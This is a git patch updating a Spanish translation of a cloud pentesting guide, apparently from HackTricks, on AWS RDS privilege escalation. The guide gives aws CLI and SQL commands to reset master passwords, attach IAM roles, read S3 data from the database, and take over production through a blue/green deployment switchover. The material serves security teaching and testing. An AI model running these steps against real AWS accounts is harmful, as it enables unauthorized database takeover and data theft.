From 37a277ee23a1c3a2c8e9ff0897eff5cd7ed19b47 Mon Sep 17 00:00:00 2001 From: Translator Date: Tue, 13 Jan 2026 13:29:50 +0000 Subject: [PATCH] Translated ['', 'src/pentesting-cloud/aws-security/aws-privilege-escalat --- .../aws-rds-privesc/README.md | 76 ++++++++++++------- 1 file changed, 48 insertions(+), 28 deletions(-) diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc/README.md index 865c705a3..602a0abed 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc/README.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc/README.md @@ -2,9 +2,9 @@ {{#include ../../../../banners/hacktricks-training.md}} -## RDS - Relational Database Service +## RDS - Servicio de Base de Datos Relacional -Para más información sobre RDS, consulta: +Para más información sobre RDS consulta: {{#ref}} ../../aws-services/aws-relational-database-rds-enum.md @@ -12,7 +12,7 @@ Para más información sobre RDS, consulta: ### `rds:ModifyDBInstance` -Con ese permiso, un atacante puede **modificar la contraseña del usuario principal**, y las credenciales de acceso dentro de la base de datos: +Con ese permiso, un atacante puede **modificar la contraseña del usuario maestro**, y el login dentro de la base de datos: ```bash # Get the DB username, db name and address aws rds describe-db-instances @@ -27,28 +27,28 @@ aws rds modify-db-instance \ psql postgresql://:@:5432/ ``` > [!WARNING] -> Necesitarás poder **ponerte en contacto con la base de datos** (por lo general sólo son accesibles desde redes internas). +> Necesitarás poder **contactar con la base de datos** (normalmente solo son accesibles desde redes internas). -**Potential Impact:** Encontrar información sensible dentro de las bases de datos. +**Impacto potencial:** Encontrar información sensible dentro de las bases de datos. ### rds-db:connect -According to the [**docs**](https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/UsingWithRDS.IAMDBAuth.IAMPolicy.html) a user with this permission could connect to the DB instance. +Según la [**docs**](https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/UsingWithRDS.IAMDBAuth.IAMPolicy.html) un usuario con este permiso podría conectarse a la instancia de la base de datos. -### Abusar de permisos IAM del Role de RDS +### Abuse RDS Role IAM permissions #### Postgresql (Aurora) > [!TIP] -> Si ejecutas **`SELECT datname FROM pg_database;`** y encuentras una base de datos llamada **`rdsadmin`**, sabes que estás dentro de una **AWS postgresql database**. +> Si al ejecutar **`SELECT datname FROM pg_database;`** encuentras una base de datos llamada **`rdsadmin`**, sabes que estás dentro de una **AWS postgresql database**. -Primero puedes comprobar si esta base de datos se ha usado para acceder a algún otro servicio de AWS. Puedes verificarlo mirando las extensiones instaladas: +Primero puedes comprobar si esta base de datos se ha utilizado para acceder a cualquier otro servicio de AWS. Puedes comprobarlo mirando las extensiones instaladas: ```sql SELECT * FROM pg_extension; ``` -Si encuentras algo como **`aws_s3`**, puedes asumir que esta base de datos tiene **algún tipo de acceso a S3** (hay otras extensiones como **`aws_ml`** y **`aws_lambda`**). +Si encuentras algo como **`aws_s3`** puedes asumir que esta base de datos tiene **algún tipo de acceso a S3** (hay otras extensiones como **`aws_ml`** y **`aws_lambda`**). -Además, si tienes permisos para ejecutar **`aws rds describe-db-clusters`**, puedes ver ahí si el **cluster tiene alguna IAM Role adjunta** en el campo **`AssociatedRoles`**. Si la hay, puedes asumir que la base de datos fue **preparada para acceder a otros servicios de AWS**. Basándote en el **nombre del rol** (o si puedes obtener los **permisos** del rol) podrías **adivinar** qué acceso extra tiene la base de datos. +Además, si tienes permisos para ejecutar **`aws rds describe-db-clusters`** puedes ver allí si el **cluster tiene algún IAM Role adjunto** en el campo **`AssociatedRoles`**. Si lo tiene, puedes asumir que la base de datos fue **preparada para acceder a otros servicios de AWS**. Basándote en el **nombre del role** (o si puedes obtener los **permisos** del role) podrías **adivinar** qué acceso adicional tiene la base de datos. Ahora, para **leer un archivo dentro de un bucket** necesitas conocer la ruta completa. Puedes leerlo con: ```sql @@ -71,7 +71,7 @@ SELECT * from ttemp; // Delete table DROP TABLE ttemp; ``` -Si tuvieras **credenciales AWS sin procesar**, también podrías usarlas para acceder a datos de S3 con: +Si tuvieras **credenciales AWS sin procesar** también podrías usarlas para acceder a datos de S3 con: ```sql SELECT aws_s3.table_import_from_s3( 't', '', '(format csv)', @@ -80,16 +80,16 @@ aws_commons.create_aws_credentials('sample_access_key', 'sample_secret_key', '') ); ``` > [!NOTE] -> Postgresql **doesn't need to change any parameter group variable** para poder acceder a S3. +> Postgresql **no necesita cambiar ninguna variable del parameter group** para poder acceder a S3. #### Mysql (Aurora) > [!TIP] > Dentro de un mysql, si ejecutas la consulta **`SELECT User, Host FROM mysql.user;`** y existe un usuario llamado **`rdsadmin`**, puedes asumir que estás dentro de una **AWS RDS mysql db**. -Dentro del mysql ejecuta **`show variables;`** y si las variables como **`aws_default_s3_role`**, **`aurora_load_from_s3_role`**, **`aurora_select_into_s3_role`** tienen valores, puedes asumir que la base de datos está preparada para acceder a datos en S3. +Dentro del mysql ejecuta **`show variables;`** y si variables como **`aws_default_s3_role`**, **`aurora_load_from_s3_role`**, **`aurora_select_into_s3_role`** tienen valores, puedes asumir que la base de datos está preparada para acceder a datos en S3. -Además, si tienes permisos para ejecutar **`aws rds describe-db-clusters`** puedes comprobar si el cluster tiene algún rol asociado (**associated role**), lo cual suele significar acceso a servicios de AWS). +Además, si tienes permisos para ejecutar **`aws rds describe-db-clusters`** puedes comprobar si el cluster tiene algún **rol asociado**, lo que normalmente significa acceso a servicios de AWS). Ahora, para **leer un archivo dentro de un bucket** necesitas conocer la ruta completa. Puedes leerlo con: ```sql @@ -100,16 +100,16 @@ DROP TABLE ttemp; ``` ### `rds:AddRoleToDBCluster`, `iam:PassRole` -Un atacante con los permisos `rds:AddRoleToDBCluster` e `iam:PassRole` puede **añadir un rol especificado a una instancia RDS existente**. Esto podría permitir al atacante **acceder a datos sensibles** o modificar los datos dentro de la instancia. +Un atacante con los permisos `rds:AddRoleToDBCluster` y `iam:PassRole` puede **agregar un role especificado a una instancia RDS existente**. Esto podría permitir al atacante **acceder a datos sensibles** o modificar los datos dentro de la instancia. ```bash aws add-role-to-db-cluster --db-cluster-identifier --role-arn ``` -**Potential Impact**: Acceso a datos sensibles o modificaciones no autorizadas de los datos en la instancia RDS.\ -Tenga en cuenta que algunas DBs requieren configuraciones adicionales, como Mysql, que también necesita especificar el role ARN en los grupos de parámetros. +**Impacto potencial**: Acceso a datos sensibles o modificaciones no autorizadas de los datos en la instancia RDS.\ +Ten en cuenta que algunas DBs requieren configuraciones adicionales, como Mysql, que también necesita especificar el role ARN en los parameter groups. ### `rds:CreateDBInstance` -Con solo este permiso, un atacante podría crear una **nueva instancia dentro de un cluster** que ya existe y tiene un **IAM role** adjunto. No podrá cambiar la contraseña del master user, pero podría exponer la nueva instancia de base de datos a Internet: +Con solo este permiso un atacante podría crear una **nueva instancia dentro de un clúster** que ya existe y tiene un **IAM role** adjunto. No podrá cambiar la contraseña del usuario maestro, pero podría exponer la nueva instancia de base de datos a Internet: ```bash aws --region eu-west-1 --profile none-priv rds create-db-instance \ --db-instance-identifier mydbinstance2 \ @@ -124,28 +124,48 @@ aws --region eu-west-1 --profile none-priv rds create-db-instance \ > [!NOTE] > TODO: Probar -Un atacante con los permisos `rds:CreateDBInstance` y `iam:PassRole` puede **crear una nueva instancia RDS con un rol especificado adjunto**. El atacante podría entonces potencialmente **acceder a datos sensibles** o modificar los datos dentro de la instancia. +Un atacante con los permisos `rds:CreateDBInstance` e `iam:PassRole` puede **crear una nueva instancia RDS con un rol especificado adjunto**. El atacante puede entonces potencialmente **acceder a datos sensibles** o modificar los datos dentro de la instancia. > [!WARNING] -> Algunos requisitos del role/instance-profile para adjuntar (desde [**here**](https://docs.aws.amazon.com/cli/latest/reference/rds/create-db-instance.html")): +> Algunos requisitos del role/instance-profile para adjuntar (según [**here**](https://docs.aws.amazon.com/cli/latest/reference/rds/create-db-instance.html)): -> - El profile debe existir en tu cuenta. -> - El profile debe tener un IAM role que Amazon EC2 tenga permisos para asumir. -> - El nombre del instance profile y el nombre del IAM role asociado deben comenzar con el prefijo `AWSRDSCustom` . +> - El perfil debe existir en tu cuenta. +> - El perfil debe tener un rol de IAM que Amazon EC2 tenga permisos para asumir. +> - El nombre del perfil de instancia y el nombre del rol IAM asociado deben comenzar con el prefijo `AWSRDSCustom`. ```bash aws rds create-db-instance --db-instance-identifier malicious-instance --db-instance-class db.t2.micro --engine mysql --allocated-storage 20 --master-username admin --master-user-password mypassword --db-name mydatabase --vapc-security-group-ids sg-12345678 --db-subnet-group-name mydbsubnetgroup --enable-iam-database-authentication --custom-iam-instance-profile arn:aws:iam::123456789012:role/MyRDSEnabledRole ``` -**Impacto potencial**: Acceso a datos sensibles o modificaciones no autorizadas a los datos en la instancia de RDS. +**Impacto potencial**: Acceso a datos sensibles o modificaciones no autorizadas a los datos en la instancia RDS. ### `rds:AddRoleToDBInstance`, `iam:PassRole` -Un atacante con los permisos `rds:AddRoleToDBInstance` y `iam:PassRole` puede **añadir un role especificado a una instancia de RDS existente**. Esto podría permitir al atacante **acceder a datos sensibles** o modificar los datos dentro de la instancia. +Un atacante con los permisos `rds:AddRoleToDBInstance` y `iam:PassRole` puede **añadir un rol especificado a una instancia RDS existente**. Esto podría permitir al atacante **acceder a datos sensibles** o modificar los datos dentro de la instancia. > [!WARNING] -> La instancia de DB debe estar fuera de un cluster para esto +> La instancia DB debe estar fuera de un clúster para esto ```bash aws rds add-role-to-db-instance --db-instance-identifier target-instance --role-arn arn:aws:iam::123456789012:role/MyRDSEnabledRole --feature-name ``` -**Impacto potencial**: Acceso a datos sensibles o modificaciones no autorizadas de los datos en la instancia RDS. +**Impacto potencial**: Acceso a datos sensibles o modificaciones no autorizadas en los datos de la instancia RDS. + +### `rds:CreateBlueGreenDeployment`, `rds:AddRoleToDBCluster`, `iam:PassRole`, `rds:SwitchoverBlueGreenDeployment` + +Un atacante con estos permisos puede clonar una base de datos de producción (Blue), asignar un rol IAM de alto privilegio al clon (Green), y luego usar switchover para reemplazar el entorno de producción. Esto permite al atacante elevar los privilegios de la base de datos y obtener acceso no autorizado a otros recursos de AWS. +```bash +# Create a Green deployment (clone) of the production cluster +aws rds create-blue-green-deployment \ +--blue-green-deployment-name \ +--source + +# Attach a high-privilege IAM role to the Green cluster +aws rds add-role-to-db-cluster \ +--db-cluster-identifier \ +--role-arn + +# Switch the Green environment to Production +aws rds switchover-blue-green-deployment \ +--blue-green-deployment-identifier +``` +**Impacto Potencial**: Toma completa del entorno de base de datos de producción. Después de la conmutación, la base de datos opera con privilegios elevados, permitiendo el acceso no autorizado a otros servicios de AWS (p. ej., S3, Lambda, Secrets Manager) desde dentro de la base de datos. {{#include ../../../../banners/hacktricks-training.md}}